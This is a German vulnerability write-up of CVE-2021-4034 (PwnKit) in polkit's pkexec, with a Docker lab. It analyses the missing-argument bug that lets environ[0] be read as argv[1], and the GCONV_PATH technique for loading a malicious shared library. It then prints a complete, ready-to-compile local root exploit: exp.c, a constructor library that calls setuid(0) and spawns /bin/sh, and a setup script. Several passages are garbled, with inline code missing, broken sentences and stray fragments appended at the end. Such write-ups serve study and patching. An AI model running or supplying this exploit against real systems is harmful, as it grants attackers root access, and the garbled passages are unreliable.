
Ausführlicher Bericht und Proof-of-Concept-Exploit für CVE-2021-4034 (PolKit pkexec lokale Privilegieneskalation), einschließlich einer Docker-Lab-Umgebung für praktische Analyse und Debugging.
[toc]
Schwachstellennummer: CVE-2021-4034
Schwachstellenbewertung:
Schwachstellenprodukt: Linux PolKit (pkexec)
Betroffene Versionen: Betrifft Versionen von 2009 bis heute (aktuell 0.105) Referenz: http://its.dlut.edu.cn/info/1054/78309.htm
Ausnutzungsbedingungen: Linux lokaler Zugriff; pkexec ist eine suid-Datei und hat Ausführungsberechtigung
Quellcode-Bezug: apt source policykit-1
oder https://launchpad.net/ubuntu/bionic/+package/policykit-1
Docker-Umgebung: chenaotian/cve-2021-4034
Ich habe selbst einen Docker erstellt, der Folgendes bereitstellt:
pkexec mit Quellcode-DebuggingAlles befindet sich im Verzeichnis /root/:

su test kann man zum Test-Benutzer wechseln und es ausführen.Docker starten:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
Exp testen:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
Das betroffene Produkt ist der Befehl pkexec von Polkit. pkexec ist ähnlich wie sudo ein Werkzeug, mit dem wir Befehle als anderer Benutzer (normalerweise root) ausführen können. Mit dem Befehl dpkg kann man das Paket anzeigen, zu dem pkexec gehört:
dpkg -S /usr/bin/pkexec

Dann das Quellpaket beziehen (auch in meinem Docker enthalten) und anschließend aus dem Quellpaket selbst eine debug-fähige Version kompilieren, um das Debugging zu erleichtern.
Das Prinzip der Schwachstellenauslösung ist sehr einfach.
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* Das bedeutet: Durchlaufe die Benutzereingabeparameter und setze Werte basierend auf den verschiedenen eingegebenen Parametern.
* Das Problem ist jedoch, dass die Schleife bei 1 beginnt und den Fall nicht berücksichtigt, dass der Benutzer keine Parameter eingegeben hat.
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //Wenn ein unbekannter Parameter erkannt wird, die Schleife verlassen, was bedeutet, dass dieser Parameter der auszuführende Befehl ist
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //Hole die konkrete Zeichenkette des auszuführenden Befehls
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() ist nicht angreifbar durch Angriffe über die Umgebung */
//Diese Funktion sucht nach dem absoluten Pfad des auszuführenden Befehls basierend auf der PATH-Umgebungsvariable.
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//Setze den erhaltenen absoluten Pfad zurück in den Befehlszeilenparameter
}
··· ···
··· ···
Basierend auf meinen Kommentaren im Code ergibt sich folgende Analyse:
pkexec ausgeführt werden soll).-- beginnt, wird dieser als der auszuführende Befehl angesehen, und die Schleife wird verlassen, um mit der folgenden Logik fortzufahren.g_find_program_in_path wird aufgerufen, um den absoluten Pfad des Befehls zu suchen. g_find_program_in_path sucht basierend auf der PATH-Umgebungsvariable nach dem absoluten Pfad des übergebenen Parameters (Befehl). Zum Beispiel gibt die Eingabe von cat den Wert /bin/cat zurück.Das ist gut zu verstehen, aber das Problem liegt darin:
Wenn ein Linux-Binärprogramm ausgeführt wird, werden die Befehlszeilenparameter argv[] und die Umgebungsvariablen environ[] am unteren Ende des Stacks abgelegt, und argv[] und environ[] sind miteinander verbunden. Das letzte Element von argv[] ist null.

Wenn pkexec über die Befehlszeile gestartet wird und keine anderen Parameter übergeben werden, ist argv[0] gleich "pkexec" und argv[1] ist \x00 – kein Problem. Wenn pkexec jedoch mit der Funktion execve gestartet wird und keine weiteren Parameter übergeben werden, ist gleich und zeigt auf die Umgebungsvariablen! Wenn dann gelesen wird, wird auf zugegriffen.
Welche Auswirkungen hat das? Wenn execve ohne weitere Parameter verwendet wird, hat argv[] die Länge 0, und somit ist argv[1] gleich environ[0]. Dadurch wird die oben analysierte Logik zu: Hole den Wert der ersten Umgebungsvariable und suche im PATH-Umgebungsvariablen nach dessen absolutem Pfad. Falls gefunden, schreibe ihn zurück in die erste Umgebungsvariable. Die Ausnutzungsmethode ergibt sich wie folgt:
Zuerst muss klar sein, dass pkexec eine privilegierte (suid) Datei ist:

Wie kann man in einer privilegierten Datei mit Hilfe von Umgebungsvariablen etwas anstellen? Zunächst ein kleines Detail:
Der dynamische Linker von Linux, ld-linux-x86-64.so.2, löscht beim Ausführen eines privilegierten Programms sensible Umgebungsvariablen:
Funktion _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //Im privilegierten Modus
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//Schleife, um alle Umgebungsvariablen in der Liste der gefährlichen Umgebungsvariablen zu löschen (unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
Die Liste der gefährlichen Umgebungsvariablen UNSECURE_ENVVARS ist wie folgt definiert:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
Wenn festgestellt wird, dass das Programm eine privilegierte Datei (suid) ist, werden die oben genannten Umgebungsvariablen gelöscht. Wie man sieht, handelt es sich größtenteils um Umgebungsvariablen der LD_-Serie, die alle die Fähigkeit haben, den Ladepfad dynamischer Bibliotheken zu beeinflussen. Dies verhindert, dass ein Benutzer mit niedrigen Berechtigungen über diese Umgebungsvariablen ein suid-Programm dazu bringt, eine nicht vertrauenswürdige .so-Datei zu laden, was zur Ausführung von bösartigem Code und zur Privilegienausweitung führen könnte.
In diesem Schwachstellenszenario haben wir die einmalige Gelegenheit, eine beliebige Umgebungsvariable zu schreiben. Unser Ansatzpunkt ist, zu versuchen, etwas aus den oben genannten Umgebungsvariablen zu finden, die normalerweise nicht an suid-Programme übergeben werden können.
Da der Proof-of-Concept (PoC) bereits veröffentlicht wurde, ist die Antwort hier einfach. Ich beziehe mich auf den PoC von arthepsy. Der Inhalt ist einfach, aber durch diesen PoC wird klar, dass die entscheidende Umgebungsvariable GCONV_PATH ist. Sie ist tatsächlich ein Mitglied der obigen Liste gefährlicher Umgebungsvariablen, und zwar das erste!
Über GCONV_PATH und die Funktion iconv_open():
Die Funktion
iconv_open()fordert einen Konvertierungsdeskriptor an, der Zeichensequenzen von der Kodierungfromcodein die Kodierungtcodekonvertiert. Der Deskriptor enthält den Konvertierungsstatus. Die Funktioniconv_open()sucht zunächst nach der systemweit bereitgestellten Dateigconv-modules, die die Pfade zu den Informationen der einzelnen Zeichensätze enthält, wobei die Informationen jedes Zeichensatzes in einer .so-Datei gespeichert sind. Anschließend wird basierend auf den Angaben in dergconv-modules-Datei die entsprechende .so-Datei für den Parameter verlinkt und die spezifische Operation ausgeführt. Wenn die UmgebungsvariableGCONV_PATHexistiert, dann sucht die Funktioniconv_open()überGCONV_PATHdie Dateigconv-modules; die weiteren Abläufe bleiben gleich.
Das bedeutet, dass die Umgebungsvariable GCONV_PATH ebenfalls eine ähnliche Funktion wie LD_LIBRARY_PATH hat. Sie kann den Suchpfad für .so-Dateien der Funktion iconv_open() festlegen. Wenn wir GCONV_PATH fälschen und dann weiter gconv-modules sowie eine bösartige .so-Datei fälschen, können wir eine beliebige .so-Datei laden und beliebigen Code ausführen.
Der grobe Ablauf ist wie folgt:
GCONV_PATH=.GCONV_PATH=. eine Datei mit dem Namen pwnkitdir und setze die Ausführungsberechtigung.pwnkitdirpwnkit die Datei gconv-modules und schreibe folgenden Inhalt gemäß dem Format:
module UTF-8// PWNKIT// pwnkit 1
pwnkit eine bösartige .so-Datei pwnkit.so ab, die Code zum Erlangen einer Shell enthält.pwnkitdirPATH=GCONV_PATH=.. So setzt die Funktion g_find_program_in_path den Pfad zu zusammen, was genau dem Format einer Umgebungsvariable entspricht, und das Verzeichnis existiert, ebenso die Datei .Dann ist es erfolgreich. Der konkrete Exploit folgt:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); // Beachte: Pfad je nach tatsächlicher Situation anpassen
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
Erfolgreiche Ausnutzung:

Auf die neueste Version aktualisieren.
Schwachstellenoffenlegung: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
PoC von arthepsy: https://github.com/arthepsy/CVE-2021-4034
argv[0]\x00argv[1]argv[1]environ[0]Bei direktem Start von pkexec über die Befehlszeile ist argc gleich 1, argv[0] ist der Pfad von pkexec:

Beim Start von pkexec mit der Funktion execve ist argc gleich 0:

GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT: Wird vor dem Aufruf von iconv_open verwendet, um in gconv-modules nach der .so-Datei zu suchen.SHELL=xxx: Wird ebenfalls vor iconv_open verwendet.pkexec mit execve, ohne Parameter, aber mit den oben gesetzten Umgebungsvariablen.